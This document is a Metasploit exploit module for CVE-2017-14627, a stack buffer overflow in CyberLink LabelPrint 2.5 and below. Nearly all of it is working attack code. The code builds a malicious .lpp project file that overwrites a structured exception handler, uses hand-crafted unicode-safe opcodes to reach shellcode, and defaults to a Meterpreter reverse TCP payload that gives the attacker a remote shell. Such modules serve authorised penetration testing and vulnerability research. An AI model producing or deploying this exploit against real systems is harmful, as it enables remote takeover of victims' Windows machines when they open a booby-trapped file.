CyberLink LabelPrint 2.5 Stack Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow",  
'Description' => %q{  
This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below.  
The vulnerability is triggered when opening a .lpp project file containing overly long string characters  
via open file menu. This results in overwriting a structured exception handler record and take over the  
application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'modpr0be <[email protected]>', # initial discovery and metasploit module  
'f3ci <[email protected]>' # unicode kungfu  
],  
'References' =>  
[  
[ 'CVE', '2017-14627' ],  
[ 'EDB', '42777' ]  
],  
'DefaultOptions' =>  
{  
'FILENAME' => 'msf.lpp',  
'EXITFUNC' => 'seh',  
'DisablePayloadHandler' => 'true',  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)',  
{  
'Ret' => "\x2c\x44",  
'Offset' => 790,  
'Padding1' => 857,  
'Padding2' => 104  
}  
],  
['CyberLink LabelPrint <= 2.5 on Windows 8.1 x64',  
{  
'Ret' => "\x2c\x44",  
'Offset' => 790,  
'Padding1' => 845,  
'Padding2' => 116  
}  
],  
['CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803',  
{  
'Ret' => "\x2c\x44",  
'Offset' => 790,  
'Padding1' => 781,  
'Padding2' => 180  
}  
],  
],  
'Payload' =>  
{  
'Space' => 15000,  
'DisableNops' => true  
},  
'DisclosureDate' => 'Sep 23 2017',  
'DefaultTarget' => 0))  
end  
  
def get_payload(hunter)  
enc = framework.encoders.create('x86/unicode_mixed')  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })  
hunter = enc.encode(hunter, nil, nil, platform)  
end  
  
def exploit  
nop = "\x42"  
junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only)  
buffer = ""  
buffer << junk * target['Offset']  
buffer << "\x61\x42" # nseh  
buffer << target['Ret'] # seh  
  
#we need to encode the RET address, since RET (\xc3) is known as bad char.  
#preparing address to land the decoded RET  
buffer << nop #nop/inc edx  
buffer << "\x54" #push esp  
buffer << nop #nop/inc edx  
buffer << "\x58" #pop eax  
buffer << nop #nop/inc edx  
buffer << "\x05\x1B\x01" #add eax 01001B00  
buffer << nop #nop/inc edx  
buffer << "\x2d\x01\x01" #sub eax 01001000  
buffer << nop #nop/inc edx  
buffer << "\x50" #push eax  
buffer << nop #nop/inc edx  
buffer << "\x5c" #pop esp  
  
#preparing RET opcode (c300c300)  
buffer << nop #nop/inc edx  
buffer << "\x25\x7e\x7e" #and eax,7e007e00  
buffer << nop #nop/inc edx  
buffer << "\x25\x01\x01" #and eax,01000100  
buffer << nop #nop/inc edx  
buffer << "\x35\x7f\x7f" #xor eax,7f007f00  
buffer << nop #nop/inc edx  
buffer << "\x05\x44\x44" #add eax,44004400  
buffer << nop #nop/inc edx  
buffer << "\x57" #push edi as padding, needed to align stack  
buffer << nop #nop/inc edx  
buffer << "\x50" #push eax  
buffer << junk * target['Padding1'] #OS specific  
  
#custom venetian to reach shellcode  
buffer << "\x58" #pop eax  
buffer << nop #nop/inc edx  
buffer << "\x58" #pop eax  
buffer << nop #nop/inc edx  
buffer << "\x05\x09\x01" #depending OS  
buffer << nop #nop/inc edx  
buffer << "\x2d\x01\x01" #add eax, 01000100, this will align eax to our buffer  
buffer << nop #nop/inc edx  
buffer << "\x50" #push eax  
buffer << nop #nop/inc edx  
  
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp  
buffer << "\x5C" #pop esp  
buffer << nop #nop/inc edx  
buffer << "\x58" #pop eax  
buffer << nop #nop/inc edx  
buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp  
buffer << nop #nop/inc edx  
buffer << "\x50" #push eax  
buffer << junk * target['Padding2'] #OS specific  
buffer << "\x7b\x32" #part of call esp  
  
#preparing for jump to shellcode, placing in eax.  
buffer << junk * 114 #junk  
buffer << "\x57" #push edi  
buffer << nop #nop/inc edx  
buffer << "\x58" #pop eax  
buffer << nop #nop/inc edx  
buffer << "\x05\x0A\x01" #depending OS  
buffer << nop #nop/inc edx  
buffer << "\x2d\x01\x01" #sub eax,01000100  
buffer << nop #nop/inc edx  
buffer << get_payload(payload.encoded)  
buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.  
  
lpp_data = <<-EOS  
<PROJECT version="1.0.00">  
<INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">  
<TRACK name="#{buffer}" />  
</INFORMATION>  
</PROJECT>  
EOS  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(lpp_data)  
end  
end  
`